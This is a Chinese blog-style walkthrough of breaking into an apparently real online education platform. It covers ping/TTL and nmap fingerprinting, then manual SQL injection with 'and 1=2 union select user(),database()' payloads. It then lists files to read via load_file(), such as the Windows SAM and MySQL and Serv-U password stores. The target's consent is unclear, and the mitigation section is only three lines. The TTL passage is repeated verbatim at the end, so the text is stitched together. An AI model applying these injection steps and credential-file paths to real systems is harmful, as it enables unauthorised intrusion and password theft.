题记:
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
第一步:获取需要的信息
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
注:以下为保护特用XXX代替敏感信息
顺手先PING了一下他们的域名:
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
顺便了解一下TTL,学好基础知识才能一路顺风:
TTL:(Time To Live ) 生存时间
指定数据包被路由器丢弃之前允许通过的网段数量。
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
使用PING时涉及到的 ICMP 报文类型
一个为ICMP请求回显(ICMP Echo Request)
一个为ICMP回显应答(ICMP Echo Reply)
TTL 字段值可以帮助我们识别操作系统类型。
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
当然,返回的TTL值是相同的
但有些情况下有所特殊
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
FreeBSD 4.1, 4.0, 3.4;
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
OpenBSD 2.6, 2.7,
NetBSD
HP UX 10.20
ICMP 回显应答的 TTL 字段值为 255
Windows 95/98/98SE
Windows ME
ICMP 回显应答的 TTL 字段值为 32
Windows NT4 WRKS
Windows NT4 Server
Windows 2000
Windows XP
ICMP 回显应答的 TTL 字段值为 128
这样,我们就可以通过这种方法来辨别操作系统
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
用NMAP扫描一下:
nmap -sT -O XXX.XXX.XXX.XXX
如果没有装WinPcap则会弹出提示:
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
) mode — Nmap may not function completely
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
ersions, you may be able to take iphlpapi.dll from another system and place it i
n your system32 dir (e.g. c:\windows\system32).
QUITTING!
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
Interesting ports on XXX.XXX.XXX.XXX:
Not shown: 986 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
80/tcp open http
111/tcp open rpcbind
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
513/tcp open login
514/tcp open shell
593/tcp filtered http-rpc-epmap
1720/tcp filtered H.323/Q.931
3306/tcp open mysql
4444/tcp filtered krb524
Device type: WAP
Running: Linux 2.4.X
OS details: DD-WRT (Linux 2.4.35s)
Network Distance: 13 hops
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
login as:
Telnet23端口也是开着的,用telnet 命令链接一下:
telnet XXX.XXX.XXX.XXX
提示:
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
Kernel 2.6.18-92.el5PAE on an i686
login:
获取HTTP头信息:
在本地执行如下PHP代码
<?php
$url = ‘XXX.XXX.XXX.XXX’;
print_r(get_headers($url));
print_r(get_headers($url, 1));
?>
将以上代码保存为PHP文件,执行:
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
现在可以得出结论:
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
内核版本:Kernel 2.6.18-92.el5PAE on an i686
WEB服务器版本:nginx/0.7.61
第二步,开始测试寻找漏洞
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
3、手工注入:
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
3.1 猜测当前表字段数
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
此处猜测有个简单的算法,都是有技巧的吗,呵呵
算法简单如下:
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
以此来判断,是否过界,配合取中算法猜出字段数。
举例:
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
此时3则为我们要找的字段数。
3.2 配合union联合查询字段在页面所位置
我们已经知道了字段数为3,此时则可以做如下操作:
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
这样就可以测试到哪些字段在页面上有所显示了,如图:
3.3 查敏感信息
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
3.3.1 先查数据库用户、数据库名,以备后用,如图:
得到数据库用户为root、数据库名为DBxx;
3.3.2 查配置文件
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
查看文件有一定的条件限制:
- 欲读取文件必须在服务器上
- 必须指定文件完整的路径
- 必须有权限读取并且文件必须完全可读
- 欲读取文件必须小于 max_allowed_packet
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
常用的一些:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
最后:防范措施
1、修复PHP注入漏洞;
2、Mysql使用普通权限的用户;
3、升级linux内核至最新版本;
指定数据包被路由器丢弃之前允许通过的网段数量。
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
使用PING时涉及到的 ICMP 报文类型
一个为ICMP请求回显(ICMP Echo Request)
一个为ICMP回显应答(ICMP Echo Reply)
TTL 字段值可以帮助我们识别操作系统类型。
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
当然,返回的TTL值是相同的
但有些情况下有所特殊
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
FreeBSD 4.1, 4.0, 3.4;
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
OpenBSD 2.6, 2.7,
NetBSD
HP UX 10.20
ICMP 回显应答的 TTL 字段值为 255
Windows 95/98/98SE
Windows ME
ICMP 回显应答的 TTL 字段值为 32
Windows NT4 WRKS
Windows NT4 Server
Windows 2000
Windows XP
ICMP 回显应答的 TTL 字段值为 128
这样,我们就可以通过这种方法来辨别操作系统
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255